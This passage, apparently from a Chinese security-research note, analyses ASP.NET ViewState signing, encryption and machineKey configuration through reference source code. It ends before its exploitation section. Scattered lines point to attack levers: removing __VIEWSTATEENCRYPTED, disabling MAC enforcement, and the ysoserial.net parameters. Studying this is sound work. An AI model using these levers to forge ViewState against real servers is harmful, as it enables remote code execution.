ASP.NET ViewState 反序列化

https://github.com/Y4er/dotnet-deserialization/blob/main/ViewState.md

Open Table of contents

基础知识
配置参数
签名/加密流程
利用方式

基础知识

https://www.cnblogs.com/edisonchou/p/3899123.html

https://www.cnblogs.com/edisonchou/p/3901559.html

https://www.cnblogs.com/an-wl/archive/2011/06/26/2090615.html

ASP.NET WebForm 开发模式本质上就是将各种控件封装成 HTML Form 表单的形式, 每次对控件进行操作 (例如点击按钮) 时都会向服务器发送 POST 请求, 然后服务器调用Button_OnClick方法, 即事件驱动的开发模式

ViewState 用于保存控件的状态, 类似 Cookie/Session, 但作用域为某个页面, 适用于同一个页面在不关闭的情况下多次与服务器交互 (PostBack)

当用户第一次访问页面时, 服务端会初始化各个控件 (例如从数据库中查询信息并将结果添加至下拉菜单), 返回页面时会附带 ViewState 属性 (Form 表单的_VIEWSTATE隐藏字段)

之后用户在页面进行交互触发 PostBack (即点击控件触发服务端事件)时, 会在 POST 请求中携带隐藏的_VIEWSTATE字段, 服务端将解析 VewState 并恢复控件先前的状态, 无需每次访问都查询数据库, 以模拟”有状态”的 HTTP 请求

ViewState 除了保存控件的状态, 还可以保存自定义数据内容

例如通过多次点击按钮实现 age 自增, ViewState 负责保存每一次 age 的状态

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="FirstPage.aspx.cs" Inherits="WebApp.FirstPage" %>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
	<head runat="server">
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
		<title></title>
	</head>
	<body>
		<form id="form1" runat="server">
			<div>
				<asp:TextBox ID="TextBox1" runat="server"></asp:TextBox>
				<br />
				<asp:Button ID="Button1" runat="server" Text="Button" OnClick="Button1_Click" />
			</div>
		</form>
	</body>
</html>

using System;
using System.Web.UI;

namespace WebApp
{
    public partial class FirstPage : Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {

        }

        protected void Button1_Click(object sender, EventArgs e)
        {
            int? age = ViewState["age"] as int?;

            if (age == null)
            {
                age = 1;
            }
            else
            {
                age++;
            }
            ViewState["age"] = age;
            TextBox1.Text = age.ToString();
        }
    }
}

PostBack (回发): 客户端将先前服务端发送的数据提交回来

ASP.NET 通过 Page 类的IsPostBack属性判断该请求是否属于回发请求

例如用户可以通过文本框 + 按钮的形式向下拉菜单内添加数据, 如果没有判断是否为 PostBack 请求, 那么下拉菜单内会出现多次 aaa bbb

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="FirstPage.aspx.cs" Inherits="WebApp.FirstPage" %>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
	<head runat="server">
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
		<title></title>
	</head>
	<body>
		<form id="form1" runat="server">
			<div>
				<asp:TextBox ID="TextBox1" runat="server"></asp:TextBox>
				<br />
				<asp:Button ID="Button1" runat="server" Text="Button" OnClick="Button1_Click" />
					<br />
					<asp:DropDownList ID="DropDownList1" runat="server"></asp:DropDownList>
			</div>
		</form>
	</body>
</html>

using System;
using System.Web.UI;

namespace WebApp
{
	public partial class FirstPage : Page
    {
		protected void Page_Load(object sender, EventArgs e)
		{
			if (!IsPostBack)
			{
				DropDownList1.Items.Add("aaa");
				DropDownList1.Items.Add("bbb");
			}
		}

		protected void Button1_Click(object sender, EventArgs e)
		{
			DropDownList1.Items.Add(TextBox1.Text);
		}
	}
}

配置参数

ViewState 使用 LosFormatter (即 ObjectStateFormatter) 进行序列化和反序列化, 其内部是一组 System.Web.UI.Pair 对象

ViewState 使用加密和签名保证安全性

加密: 防止信息泄露

<%@ Page ViewStateEncryptionMode="Always" %>

签名: MAC 数据校验, 保证信息不被篡改

<%@ Page EnableViewStateMac="true" %>

自 .NET Framework 4.5.2 开始强制启用 ViewStateMac 功能, 即 KB2905247 补丁 (2014年9月), 使 ASP.NET 忽略用户的 EnableViewStateMac 配置, 始终将其视为 true

Web.config 配置 ViewState

<pages
	enableViewState="false"
	enableViewStateMac="false"
	viewStateEncryptionMode="Always"
/>

enableViewState: 是否启用 ViewState
enableViewStateMac: 是否启用 ViewState MAC 校验
viewStateEncryptionMode: 是否启用 ViewState 加密 (Always/Auto/Never, 默认值为 Auto)
- Always: 始终加密
- Auto: 当控件调用 RegisterRequiresViewStateEncryption 方法时, 会加密 ViewState
- Never: 始终不加密

即使将 enableViewState 设置为 false, ASP.NET 也会始终被动解析来自客户端的 ViewState, 即该选项仅影响 ViewState 在服务端的生成

同理 viewStateEncryptionMode 仅影响 ViewState 的生成, 当从客户端获取 ViewState 时, 并不依据该选项来判断是否需要解密

Web.config 配置 machineKey

<machineKey
	validationKey="[String]"
	decryptionKey="[String]"
	validation="[SHA1|MD5|3DES|AES|HMACSHA256/384/512|alg:algorithm_name]"
	decryption="[Auto|DES|3DES|AES|alg:algorithm_name]"
/>

validationKey 和 decryptionKey 分别为校验和加密所用的密钥, Hex 字符串

validation 和 decryption 分别为校验和加密所用的算法 (可省略, 采用默认算法)

machineKey 默认随机生成, 效果等同于如下配置

<machineKey
	validationKey="AutoGenerate,IsolateApps"
	decryptionKey="AutoGenerate,IsolateApps"
	validation="AES"
	decryption="Auto"
/>

https://learn.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection.compatibilitymode

CompatibilityMode

Framework20SP1/Framework20SP2 (legacy)
- 支持__VIEWSTATEENCRYPTED字段, 可以删除该字段以使得服务端被动解析仅签名的 ViewState
- 支持__VIEWSTATEGENERATOR字段, 可以直接计算 modifier, 无需指定 apppath 和 path
Framework45
- Validation 算法禁止使用 AES/3DES
- 强制加密 + 签名, 即不会生成和解析仅签名的 ViewState
- 忽略viewStateEncryptionMode的值, 始终加密
- 弃用__VIEWSTATEGENERATOR, 需要指定 appath 和 path

<machineKey
	validationKey="[String]"
	decryptionKey="[String]"
	validation="SHA1"
	decryption="AES"
	compatibilityMode="Framework45"
/>

签名/加密流程

签名

# SHA1
HMACSHA1(data + modifier, validationKey)

# MD5
MD5(data + validationkey + '\x00' * modifier.length)

# HMACSHA256/384/512

HMACSHA256/384/512(data + modifier, validationKey)

# 3DES/AES

3DES/AES.encrypt(HMACSHA1(data + modifier, validationKey), decryptionKey)
+ HMACSHA1(3DES/AES.encrypt(HMACSHA1(data + modifier, validationKey), decryptionKey), validationKey)

加密

# 3DES/AES

3DES/AES.encrypt(data + modifier, decryptionKey)
+ HMACSHA1(3DES/AES.encrypt(data + modifier, decryptionKey), validationKey)

下面的分析仅针对 legcay 模式, Framework45 模式其实也就是下文 else 分支前面的内容

Serialize

if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !_forceLegacyCryptography) {
	// If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested.

	if (_page != null && (_page.RequiresViewStateEncryptionInternal || _page.EnableViewStateMac)) {
		Purpose derivedPurpose = purpose.AppendSpecificPurposes(GetSpecificPurposes());
		ICryptoService cryptoService = AspNetCryptoServiceProvider.Instance.GetCryptoService(derivedPurpose);
		byte[] protectedData = cryptoService.Protect(ms.ToArray());
		buffer = protectedData;
		length = protectedData.Length;
	}
}

Deserialize

if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !_forceLegacyCryptography) {
	// If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested.

	if (_page != null && (_page.ContainsEncryptedViewState || _page.EnableViewStateMac)) {
		Purpose derivedPurpose = purpose.AppendSpecificPurposes(GetSpecificPurposes());
		ICryptoService cryptoService = AspNetCryptoServiceProvider.Instance.GetCryptoService(derivedPurpose);
		byte[] clearData = cryptoService.Unprotect(inputBytes);
		inputBytes = clearData;
		length = clearData.Length;
	}
}

上面会使用 AspNetCryptoServiceProvider 获取 cryptoService, 然后调用其 Protect/UnProtect 方法实现加解密和签名校验, 同时 modifier 通过 GetSpecificPurposes 获取

// This will return a list of specific purposes (for cryptographic subkey generation).
internal List<string> GetSpecificPurposes() {
	if (_specificPurposes == null) {
		// Only generate a specific purpose list if we have a Page
		if (_page == null) {
			return null;
		}

		// Note: duplicated (somewhat) in GetMacKeyModifier, keep in sync
		// See that method for comments on why these modifiers are in place

		List<string> specificPurposes = new List<string>() {
			"TemplateSourceDirectory: " + _page.TemplateSourceDirectory.ToUpperInvariant(),
			"Type: " + _page.GetType().Name.ToUpperInvariant()
		};

		if (_page.ViewStateUserKey != null) {
			specificPurposes.Add("ViewStateUserKey: " + _page.ViewStateUserKey);
		}

		_specificPurposes = specificPurposes;
	}

	return _specificPurposes;
}

其实拿的还是 TemplateSourceDirectory 和 Type 的名称, 只不过算法不一样, 但是得注意这就和__VIEWSTATEGENERATOR没有任何关系了

所以说下面使用 ysoserial.net 在构造的时候还需要手动指定 apppath 和 path

Serialize

https://referencesource.microsoft.com/#System.Web/UI/ObjectStateFormatter.cs,557ea5c5f1713c67,references

private string Serialize(object stateGraph, Purpose purpose) {
	string result = null;

	MemoryStream ms = GetMemoryStream();
	try {
		Serialize(ms, stateGraph);
		ms.SetLength(ms.Position);

		byte[] buffer = ms.GetBuffer();
		int length = (int)ms.Length;

#if !FEATURE_PAL // FEATURE_PAL does not enable cryptography
		// We only support serialization of encrypted or encoded data through our internal Page constructors

		if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !_forceLegacyCryptography) {
			// If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested.

			if (_page != null && (_page.RequiresViewStateEncryptionInternal || _page.EnableViewStateMac)) {
				Purpose derivedPurpose = purpose.AppendSpecificPurposes(GetSpecificPurposes());
				ICryptoService cryptoService = AspNetCryptoServiceProvider.Instance.GetCryptoService(derivedPurpose);
				byte[] protectedData = cryptoService.Protect(ms.ToArray());
				buffer = protectedData;
				length = protectedData.Length;
			}
		}
		else {
			// Otherwise go through legacy crypto mechanisms
#pragma warning disable 618 // calling obsolete methods
			if (_page != null && _page.RequiresViewStateEncryptionInternal) {
				buffer = MachineKeySection.EncryptOrDecryptData(true, buffer, GetMacKeyModifier(), 0, length);
				length = buffer.Length;
			}
			// We need to encode if the page has EnableViewStateMac or we got passed in some mac key string
			else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
				buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);
			}
#pragma warning restore 618 // calling obsolete methods
		}

#endif // !FEATURE_PAL
		result = Convert.ToBase64String(buffer, 0, length);
	}
	finally {
		ReleaseMemoryStream(ms);
	}
	return result;
}

关注 else 分支

if (_page != null && _page.RequiresViewStateEncryptionInternal) {
	buffer = MachineKeySection.EncryptOrDecryptData(true, buffer, GetMacKeyModifier(), 0, length);
	length = buffer.Length;
}
// We need to encode if the page has EnableViewStateMac or we got passed in some mac key string
else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
	buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);
}

RequiresViewStateEncryptionInternal 为 true 时对应 EncryptOrDecryptData

EnableViewStateMac 为 true 时对应 GetEncodedData

EncryptOrDecryptData: 加密 + 签名 (可选)
GetEncodedData: 仅签名

RequiresViewStateEncryptionInternal, 其 ViewStateEncryptionMode 来自 Web.config

internal bool RequiresViewStateEncryptionInternal {
	get {
		return ViewStateEncryptionMode == ViewStateEncryptionMode.Always ||
			   _viewStateEncryptionRequested && ViewStateEncryptionMode == ViewStateEncryptionMode.Auto;
	}
}

EnableViewStateMac, 其 _enableViewStateMac 字段在 Page 类实例化时被设置为 true

public bool EnableViewStateMac {
	get { return _enableViewStateMac; }
	set {
		// DevDiv #461378: EnableViewStateMac=false can lead to remote code execution, so we
		// have an mechanism that forces this to keep its default value of 'true'. We only
		// allow actually setting the value if this enforcement mechanism is inactive.
		if (!EnableViewStateMacRegistryHelper.EnforceViewStateMac) {
			_enableViewStateMac = value;
		}
	}
}

EnforceViewStateMac (即上文提到的补丁) 决定 EnableViewStateMac 的值是否能被修改, 它的值来自 EnableViewStateMacRegistryHelper 的构造方法

bool regKeyIsActive = IsMacEnforcementEnabledViaRegistry();
if (regKeyIsActive) {
	EnforceViewStateMac = true;
	SuppressMacValidationErrorsFromCrossPagePostbacks = true;
}

// Override the defaults with what the developer specified.
if (AppSettings.AllowInsecureDeserialization.HasValue) {
	EnforceViewStateMac = !AppSettings.AllowInsecureDeserialization.Value;

	// Exception: MAC errors from cross-page postbacks should be suppressed
	// if either the <appSettings> switch is set or the reg key is set.
	SuppressMacValidationErrorsFromCrossPagePostbacks |= !AppSettings.AllowInsecureDeserialization.Value;
}

分别从两个地方判断, 只要满足其一就会强制启用 ViewState MAC 签名, 同理修改其一即可禁用签名

IsMacEnforcementEnabledViaRegistry: 注册表
AppSettings.AllowInsecureDeserialization.HasValue: Web.config 配置

IsMacEnforcementEnabledViaRegistry 方法从注册表中读取 AspNetEnforceViewStateMac 的内容

private static bool IsMacEnforcementEnabledViaRegistry() {
	try {
		string keyName = String.Format(CultureInfo.InvariantCulture, @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{0}", Environment.Version.ToString(3));
		int rawValue = (int)Registry.GetValue(keyName, "AspNetEnforceViewStateMac", defaultValue: 0 /* disabled by default */);
		return (rawValue != 0);
	}
	catch {
		// If we cannot read the registry for any reason, fail safe and assume enforcement is enabled.
		return true;
	}
}

AppSettings.AllowInsecureDeserialization.Value 来自 Web.config

<configuration>
	<appSettings>
		<add key="aspnet:AllowInsecureDeserialization" value="true" />
	</appSettings>
</configuration>

Deserialize

https://referencesource.microsoft.com/#System.Web/UI/ObjectStateFormatter.cs,2247cd30ccaf6430,references

private object Deserialize(string inputString, Purpose purpose) {
	if (String.IsNullOrEmpty(inputString)) {
		throw new ArgumentNullException("inputString");
	}

	byte[] inputBytes = Convert.FromBase64String(inputString);
	int length = inputBytes.Length;

#if !FEATURE_PAL // FEATURE_PAL does not enable cryptography
	try {
		if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !_forceLegacyCryptography) {
			// If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested.

			if (_page != null && (_page.ContainsEncryptedViewState || _page.EnableViewStateMac)) {
				Purpose derivedPurpose = purpose.AppendSpecificPurposes(GetSpecificPurposes());
				ICryptoService cryptoService = AspNetCryptoServiceProvider.Instance.GetCryptoService(derivedPurpose);
				byte[] clearData = cryptoService.Unprotect(inputBytes);
				inputBytes = clearData;
				length = clearData.Length;
			}
		}
		else {
			// Otherwise go through legacy crypto mechanisms
#pragma warning disable 618 // calling obsolete methods
			if (_page != null && _page.ContainsEncryptedViewState) {
				inputBytes = MachineKeySection.EncryptOrDecryptData(false, inputBytes, GetMacKeyModifier(), 0, length);
				length = inputBytes.Length;
			}
			// We need to decode if the page has EnableViewStateMac or we got passed in some mac key string
			else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
				inputBytes = MachineKeySection.GetDecodedData(inputBytes, GetMacKeyModifier(), 0, length, ref length);
			}
#pragma warning restore 618 // calling obsolete methods
		}
	}
	catch {
		// MSRC 10405: Don't propagate inner exceptions, as they may contain sensitive cryptographic information.
		PerfCounters.IncrementCounter(AppPerfCounter.VIEWSTATE_MAC_FAIL);
		ViewStateException.ThrowMacValidationError(null, inputString);
	}
#endif // !FEATURE_PAL
	object result = null;
	MemoryStream objectStream = GetMemoryStream();
	try {
		objectStream.Write(inputBytes, 0, length);
		objectStream.Position = 0;
		result = Deserialize(objectStream);
	}
	finally {
		ReleaseMemoryStream(objectStream);
	}
	return result;
}

关注 else 分支

if (_page != null && _page.ContainsEncryptedViewState) {
	inputBytes = MachineKeySection.EncryptOrDecryptData(false, inputBytes, GetMacKeyModifier(), 0, length);
	length = inputBytes.Length;
}
// We need to decode if the page has EnableViewStateMac or we got passed in some mac key string
else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
	inputBytes = MachineKeySection.GetDecodedData(inputBytes, GetMacKeyModifier(), 0, length, ref length);
}

ContainsEncryptedViewState 来自 HTTP POST 的隐藏字段__VIEWSTATEENCRYPTED

https://referencesource.microsoft.com/#System.Web/UI/Page.cs,4985

// Determine if viewstate was encrypted.
if (_requestValueCollection[ViewStateEncryptionID] != null) {
	ContainsEncryptedViewState = true;
}

即 ASP.NET 根据 POST 请求内的__VIEWSTATEENCRYPTED字段来判断是否对 ViewState 进行解密

即使将 viewStateEncryptionMode 设置为 Always, 服务端仍会被动解析只有签名的 ViewState

GetEncodedData

https://referencesource.microsoft.com/#System.Web/Configuration/MachineKeySection.cs,3bf203f123d3e206,references

GetEncodedData 负责对 ViewState 进行签名

internal static byte[] GetEncodedData(byte[] buf, byte[] modifier, int start, ref int length)
{
	EnsureConfig();

	byte[] bHash = HashData(buf, modifier, start, length);
	byte[] returnBuffer;

	if (buf.Length - start - length >= bHash.Length)
	{
		// Append hash to end of buffer if there's space
		Buffer.BlockCopy(bHash, 0, buf, start + length, bHash.Length);
		returnBuffer = buf;
	}
	else
	{
		returnBuffer = new byte[length + bHash.Length];
		Buffer.BlockCopy(buf, start, returnBuffer, 0, length);
		Buffer.BlockCopy(bHash, 0, returnBuffer, length, bHash.Length);
		start = 0;
	}
	length += bHash.Length;

	if (s_config.Validation == MachineKeyValidation.TripleDES || s_config.Validation == MachineKeyValidation.AES) {
		returnBuffer = EncryptOrDecryptData(true, returnBuffer, modifier, start, length, true);
		length = returnBuffer.Length;
	}
	return returnBuffer;
}

通过 HashData 方法计算 Hash 值 (签名)
将签名追加到 buf 数据结尾
判断签名方法是否为 3DES/AES, 调用 EncryptOrDecryptData 方法 (见下文)

HashData

internal static byte[] HashData(byte[] buf, byte[] modifier, int start, int length)
{
	EnsureConfig();

	if (s_config.Validation == MachineKeyValidation.MD5)
		return HashDataUsingNonKeyedAlgorithm(null, buf, modifier, start, length, s_validationKey);
	if (_UseHMACSHA) {
		byte [] hash = GetHMACSHA1Hash(buf, modifier, start, length);
		if (hash != null)
			return hash;
	}
	if (_CustomValidationTypeIsKeyed) {
		return HashDataUsingKeyedAlgorithm(KeyedHashAlgorithm.Create(_CustomValidationName),
										   buf, modifier, start, length, s_validationKey);
	} else {
		return HashDataUsingNonKeyedAlgorithm(HashAlgorithm.Create(_CustomValidationName),
											  buf, modifier, start, length, s_validationKey);
	}
}

Validation 即 Web.config 内指定的签名算法

_UseHMACSHA 在 InitValidationAndEncyptionSizes 方法内设置

_CustomValidationTypeIsKeyed 则针对自定义算法

private void InitValidationAndEncyptionSizes()
{
	_CustomValidationName = ValidationAlgorithm;
	_CustomValidationTypeIsKeyed = true;
	switch(ValidationAlgorithm)
	{
	case "AES":
	case "3DES":
		_UseHMACSHA = true;
		_HashSize = SHA1_HASH_SIZE;
		_AutoGenValidationKeySize = SHA1_KEY_SIZE;
		break;
	case "SHA1":
		_UseHMACSHA = true;
		_HashSize = SHA1_HASH_SIZE;
		_AutoGenValidationKeySize = SHA1_KEY_SIZE;
		break;
	case "MD5":
		_CustomValidationTypeIsKeyed = false;
		_UseHMACSHA = false;
		_HashSize = MD5_HASH_SIZE;
		_AutoGenValidationKeySize = MD5_KEY_SIZE;
		break;
	case "HMACSHA256":
		_UseHMACSHA = true;
		_HashSize = HMACSHA256_HASH_SIZE;
		_AutoGenValidationKeySize = HMACSHA256_KEY_SIZE;
		break;
	case "HMACSHA384":
		_UseHMACSHA = true;
		_HashSize = HMACSHA384_HASH_SIZE;
		_AutoGenValidationKeySize = HMACSHA384_KEY_SIZE;
		break;
	case "HMACSHA512":
		_UseHMACSHA = true;
		_HashSize = HMACSHA512_HASH_SIZE;
		_AutoGenValidationKeySize = HMACSHA512_KEY_SIZE;
		break;
	default:
			......
	}
	......
}

可以看到除了 MD5 以外的算法均设置 _UseHMACSHA 为 true, 因此对于内置的签名算法, 只有两种情况

MD5: HashDataUsingNonKeyedAlgorithm
AES/3DES/SHA1/HMACSHA: GetHMACSHA1Hash

HashDataUsingNonKeyedAlgorithm

private static byte[] HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier,
													 int start, int length, byte[] validationKey)
{
	int     totalLength = length + validationKey.Length + ((modifier != null) ? modifier.Length : 0);
	byte [] bAll        = new byte[totalLength];

	Buffer.BlockCopy(buf, start, bAll, 0, length);
	if (modifier != null) {
		Buffer.BlockCopy(modifier, 0, bAll, length, modifier.Length);
	}
	Buffer.BlockCopy(validationKey, 0, bAll, length, validationKey.Length);
	if (hashAlgo != null) {
		return hashAlgo.ComputeHash(bAll);
	} else {
		byte[] newHash = new byte[MD5_HASH_SIZE];
		int hr = UnsafeNativeMethods.GetSHA1Hash(bAll, bAll.Length, newHash, newHash.Length);
		Marshal.ThrowExceptionForHR(hr);
		return newHash;
	}
}

注意此时 hashAlgo 为 null, 流程如下

申请一段 buffer, 长度为 length + validationKey.Length + modifier.Length
拷贝 buf 至 buffer
拷贝 modifier 和 validationKey 至 buf 末尾, 此时 validationKey 会覆盖 modifier, 因此最终 buffer 的内容为data + validationkey + '\x00' * modifier.length
调用 GetSHA1Hash native 方法计算 MD5 哈希 (二进制格式)

不同算法的 Hash 的二进制长度如下 (Hex 字符串的长度要 x2)

private const int MD5_KEY_SIZE          = 64;
private const int MD5_HASH_SIZE         = 16;
private const int SHA1_KEY_SIZE         = 64;
private const int HMACSHA256_KEY_SIZE       = 64;
private const int HMACSHA384_KEY_SIZE       = 128;
private const int HMACSHA512_KEY_SIZE       = 128;
private const int SHA1_HASH_SIZE        = 20;
private const int HMACSHA256_HASH_SIZE      = 32;
private const int HMACSHA384_HASH_SIZE      = 48;
private const int HMACSHA512_HASH_SIZE      = 64;

GetHMACSHA1Hash

private static byte[] GetHMACSHA1Hash(byte[] buf, byte[] modifier, int start, int length) {
	if (start < 0 || start > buf.Length)
		throw new ArgumentException(SR.GetString(SR.InvalidArgumentValue, "start"));
	if (length < 0 || buf == null || (start + length) > buf.Length)
		throw new ArgumentException(SR.GetString(SR.InvalidArgumentValue, "length"));
	byte[] hash = new byte[_HashSize];
	int hr = UnsafeNativeMethods.GetHMACSHA1Hash(buf, start, length,
												 modifier, (modifier == null) ? 0 : modifier.Length,
												 s_inner, s_inner.Length, s_outer, s_outer.Length,
												 hash, hash.Length);
	if (hr == 0)
		return hash;
	_UseHMACSHA = false;
	return null;
}

流程如下:

申请长度为 _HashSize 的 buffer (依不同算法而定)
调用 GetHMACSHA1Hash native 方法计算哈希 (HMAC-SHA 系列)

其中的 s_inner 和 s_outer 由 validationKey 计算得出 (其实就是 HMAC 算法的 ipad 和 opad)

GetSHA1Hash 和 GetHMACSHA1Hash 方法内部会根据 Hash 长度来决定选择使用对应的哈希算法

注意 3DES/AES 会先使用 HMAC-SHA1 算法进行签名, 然后再加密 + 签名, 一共两次签名 (见下文)

GetDecodedData

https://referencesource.microsoft.com/#System.Web/Configuration/MachineKeySection.cs,faef3f9c7a64d648,references

GetDecodedData 负责对 ViewState 进行校验

internal static byte[] GetDecodedData(byte[] buf, byte[] modifier, int start, int length, ref int dataLength)
{
	EnsureConfig();

	if (s_config.Validation == MachineKeyValidation.TripleDES || s_config.Validation == MachineKeyValidation.AES) {
		buf = EncryptOrDecryptData(false, buf, modifier, start, length, true);
		if (buf == null || buf.Length < _HashSize)
			throw new HttpException(SR.GetString(SR.Unable_to_validate_data));
		length = buf.Length;
		start = 0;
	}

	if (length < _HashSize || start < 0 || start >= length)
		throw new HttpException(SR.GetString(SR.Unable_to_validate_data));
	byte[] bHash = HashData(buf, modifier, start, length - _HashSize);
	for (int iter = 0; iter < bHash.Length; iter++)
		if (bHash[iter] != buf[start + length - _HashSize + iter])
			throw new HttpException(SR.GetString(SR.Unable_to_validate_data));

	dataLength = length - _HashSize;
	return buf;
}

判断签名算法是否为 3DES/AES, 调用 EncryptOrDecryptData 方法 (见下文)
校验签名, 即根据 _HashSize 分离原始数据和签名, 然后手动计算该数据的签名是否和原始签名一致

EncryptOrDecryptData

https://referencesource.microsoft.com/#System.Web/Configuration/MachineKeySection.cs,10755ffbaf1bd861,references

对于 ViewState 加密, 部分参数如下

fEncrypt: 加密/解密, true 为加密, false 为解密
useValidationSymAlgo: 加解密是否使用与签名相同的算法
useLegacyMode: false
ivType: IVType.Random
signData: !AppSettings.UseLegacyEncryption, 代表是否签名

当签名算法为 AES/3DES 时, 会先调用 GetEncodedData, 然后再调用一次 EncryptOrDecryptData (此时 useValidationSymAlgo 为 true), 一共进行两次签名

https://support.microsoft.com/en-us/topic/how-to-configure-legacy-encryption-mode-in-asp-net-68b9f49b-d09d-6a4b-9e4d-e8c2210b602f

AppSettings.UseLegacyEncryption 参考 MS10-070, 即新版本会在加密的基础上启用签名

internal static byte[] EncryptOrDecryptData(bool fEncrypt, byte[] buf, byte[] modifier, int start, int length,
											bool useValidationSymAlgo, bool useLegacyMode, IVType ivType, bool signData)
/* This algorithm is used to perform encryption or decryption of a buffer, along with optional signing (for encryption)
 * or signature verification (for decryption). Possible operation modes are:
 *
 * ENCRYPT + SIGN DATA (fEncrypt = true, signData = true)
 * Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself)
 * Output: E(iv + buf + modifier) + HMAC(E(iv + buf + modifier))
 *
 * ONLY ENCRYPT DATA (fEncrypt = true, signData = false)
 * Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself)
 * Output: E(iv + buf + modifier)
 *
 * VERIFY + DECRYPT DATA (fEncrypt = false, signData = true)
 * Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data)
 * Input (buf): E(iv + m + modifier) + HMAC(E(iv + m + modifier))
 * Output: m
 *
 * ONLY DECRYPT DATA (fEncrypt = false, signData = false)
 * Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data)
 * Input (buf): E(iv + plaintext + modifier)
 * Output: m
 *
 * The 'iv' in the above descriptions isn't an actual IV. Rather, if ivType = IVType.Random, we'll prepend random bytes ('iv')
 * to the plaintext before feeding it to the crypto algorithms. Introducing randomness early in the algorithm prevents users
 * from inspecting two ciphertexts to see if the plaintexts are related. If ivType = IVType.None, then 'iv' is simply
 * an empty string. If ivType = IVType.Hash, we use a non-keyed hash of the plaintext.
 *
 * The 'modifier' in the above descriptions is a piece of metadata that should be encrypted along with the plaintext but
 * which isn't actually part of the plaintext itself. It can be used for storing things like the user name for whom this
 * plaintext was generated, the page that generated the plaintext, etc. On decryption, the modifier parameter is compared
 * against the modifier stored in the crypto stream, and it is stripped from the message before the plaintext is returned.
 *
 * In all cases, if something goes wrong (e.g. invalid padding, invalid signature, invalid modifier, etc.), a generic exception is thrown.
 */

依据注释, 分为四种情况

仅加密/解密:buf <=> E(iv + buf + modifier)
加密 + 签名/解密 + 校验:buf <=> E(iv + buf + modifier) + HMAC(E(iv + buf + modifier))

加解密流程具体看参考文章和源码

注意在加密过后还会进行一次签名

if (fEncrypt && signData) {
		byte[] hmac = HashData(bData, null, 0, bData.Length);
		byte[] bData2 = new byte[bData.Length + hmac.Length];

		Buffer.BlockCopy(bData, 0, bData2, 0, bData.Length);
		Buffer.BlockCopy(hmac, 0, bData2, bData.Length, hmac.Length);
		bData = bData2;
}

同理在解密前会先校验签名, 然后再解密

if (!fEncrypt && signData) {
	if (start != 0 || length != buf.Length) {
		// These transformations assume that we're operating on buf in its entirety and
		// not on any subset of buf, so we'll just replace buf with the particular subset
		// we're interested in.
		byte[] bTemp = new byte[length];
		Buffer.BlockCopy(buf, start, bTemp, 0, length);
		buf = bTemp;
		start = 0;
	}

	// buf actually contains E(iv + m + modifier) + HMAC(E(iv + m + modifier)), so we need to verify and strip off the signature
	buf = GetUnHashedData(buf);
	// At this point, buf contains only E(iv + m + modifier) if the signature check succeeded.

	if (buf == null) {
		// signature verification failed
		throw new HttpException(SR.GetString(SR.Unable_to_validate_data));
	}

	// need to fix up again since GetUnhashedData() returned a different array
	length = buf.Length;
}

GetUnhashedData 用于在校验通过后去除 buf 结尾的签名

internal static byte[] GetUnHashedData(byte[] bufHashed)
{
	if (!VerifyHashedData(bufHashed))
		return null;

	byte[] buf2 = new byte[bufHashed.Length - _HashSize];
	Buffer.BlockCopy(bufHashed, 0, buf2, 0, buf2.Length);
   return buf2;
}

VerifyHashedData 用于校验签名

internal static bool VerifyHashedData(byte[] bufHashed)
{
	EnsureConfig();

	//////////////////////////////////////////////////////////////////////
	// Step 1: Get the MAC: Last [HashSize] bytes
	if (bufHashed.Length <= _HashSize)
		return false;

	byte[] bMac = HashData(bufHashed, null, 0, bufHashed.Length - _HashSize);

	//////////////////////////////////////////////////////////////////////
	// Step 2: Make sure the MAC has expected length
	if (bMac == null || bMac.Length != _HashSize)
		return false;
	int lastPos = bufHashed.Length - _HashSize;

	return CryptoUtil.BuffersAreEqual(bMac, 0, _HashSize, bufHashed, lastPos, _HashSize);
}

modifier

https://referencesource.microsoft.com/#System.Web/UI/ObjectStateFormatter.cs,a9d9b5b4dd7fea66,references

modifier 来自 GetMacKeyModifier

private byte[] GetMacKeyModifier() {
	if (_macKeyBytes == null) {
		// Only generate a MacKeyModifier if we have a page
		if (_page == null) {
			return null;
		}

		// Note: duplicated (somewhat) in GetSpecificPurposes, keep in sync

		// Use the page's directory and class name as part of the key (ASURT 64044)
		uint pageHashCode = _page.GetClientStateIdentifier();

		string viewStateUserKey = _page.ViewStateUserKey;
		if (viewStateUserKey != null) {
			// Modify the key with the ViewStateUserKey, if any (ASURT 126375)
			int count = Encoding.Unicode.GetByteCount(viewStateUserKey);
			_macKeyBytes = new byte[count + 4];
			Encoding.Unicode.GetBytes(viewStateUserKey, 0, viewStateUserKey.Length, _macKeyBytes, 4);

		}
		else {
			_macKeyBytes = new byte[4];
		}

		_macKeyBytes[0] = (byte)pageHashCode;
